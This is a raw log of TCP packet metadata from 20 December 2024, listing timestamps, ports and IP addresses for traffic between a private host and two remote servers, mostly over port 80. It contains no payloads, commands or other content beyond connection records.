Dec 20, 2024 04:12:37.523361921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.523416996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.524344921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.524394989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.524409056 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.524446964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.525414944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.525458097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.525474072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.525509119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.526407957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.526488066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.526532888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.527396917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.527446985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.527520895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.527559996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.528441906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.528486967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.528613091 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.528692961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.529459000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.529514074 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.529592991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.529766083 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.530589104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.530603886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.530632019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.530661106 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.531538010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.531582117 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.531625032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.532088041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.532538891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.532582998 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.532690048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.532728910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.533679008 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.533942938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.533984900 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.534734964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.534749985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.534813881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.534893990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.536395073 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.536434889 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.536511898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.536545992 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.536684036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.536730051 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.536798000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.536870003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.537884951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.537899971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.537930965 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.537951946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.538789034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.538928986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.539122105 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.539177895 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.539844036 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.539902925 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.540038109 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.540112972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.540822983 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.540863037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.541039944 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.541081905 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.541883945 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.541901112 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.541941881 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.542861938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.542917967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.542953014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.543000937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.543906927 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.543994904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.544075012 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.544154882 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.544965029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.545099020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.545149088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.545954943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.546008110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.546032906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.546053886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.546998024 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.547049046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.547097921 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.547136068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.548016071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.548124075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.548171043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.549083948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.549128056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.549201965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.549253941 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.550098896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.550139904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.550173998 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.550208092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.551179886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.551220894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.551328897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.551367044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.552179098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.552386045 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.552428961 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.553225994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.553266048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.553306103 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.553344011 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.554212093 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.554326057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.554326057 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.554363012 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.555282116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.555325985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.555356979 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.555392027 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.556279898 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.556335926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.556423903 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.556471109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.557427883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.557468891 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.557481050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.557514906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.558542013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.558557034 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.558595896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.559499025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.559514046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.559564114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.560442924 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.560486078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.560578108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.560650110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.561465025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.561511993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.561548948 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.561589003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.562489986 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.562550068 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.562563896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.562598944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.563640118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.563654900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.563698053 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.564546108 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.564584970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.564627886 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.564667940 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.565704107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.565718889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.565762043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.566648006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.566699982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.566725016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.566745996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.567672014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.567791939 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.567831993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.568708897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.568759918 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.568847895 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.568890095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.569690943 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.569750071 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.569856882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.569900990 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.570754051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.570852041 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.570895910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.571815968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.571862936 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.571958065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.571995974 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.572771072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.572876930 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.593040943 CET	49855	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:37.593082905 CET	443	49855	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:37.593154907 CET	49855	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:37.593600988 CET	49855	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:37.593612909 CET	443	49855	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:37.711211920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.711266994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.711358070 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.711402893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.711671114 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.711714983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.711767912 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.711807966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.712841988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.712857962 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.712898016 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.712919950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.713752985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.713809967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.713900089 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.713972092 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.714847088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.714899063 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.714941978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.715836048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.715884924 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.715914011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.715956926 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.716847897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.716902971 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.716989994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.717209101 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.717858076 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.717952967 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.717993021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.718031883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.718883991 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.719018936 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.719063997 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.719958067 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.720029116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.720072985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.721201897 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.721225977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.721265078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.721278906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.721997023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.722042084 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.722290993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.722347021 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.723048925 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.723088026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.723114014 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.723169088 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.724117994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.724221945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.724241972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.724293947 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.725084066 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.725130081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.725236893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.725297928 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.726274967 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.726290941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.726310968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.726336002 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.727229118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.727245092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.727272034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.727322102 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.728344917 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.728360891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.728408098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.729249954 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.729305029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.729337931 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.729490995 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.730284929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.730348110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.730422020 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.730464935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.731271029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.731324911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.731487989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.731534004 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.732314110 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.732364893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.732419968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.732467890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.733330965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.733376980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.733452082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.733490944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.734369040 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.734455109 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.734477997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.734556913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.735434055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.735479116 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.735517025 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.735553026 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.736586094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.736624956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.736704111 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.736751080 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.737492085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.737559080 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.737564087 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.737597942 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.738497972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.738614082 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.738653898 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.739727974 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.739783049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.739820004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.739876986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.740590096 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.740629911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.740695000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.740736008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.741734982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.741749048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.741811991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.741811991 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.742665052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.742717028 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.742727041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.742750883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.743736029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.743784904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.743784904 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.743827105 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.744693995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.744741917 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.744807005 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.744849920 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.745733976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.745788097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.745820999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.745857000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.746772051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.746840954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.746906996 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.746946096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.747805119 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.747876883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.747963905 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.748022079 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.748807907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.748855114 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.748929977 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.748972893 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.749842882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.749999046 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.749999046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.750035048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.750936985 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.750982046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.750984907 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.751019001 CET	49838	80	192.168.2.4	31.41.244.11
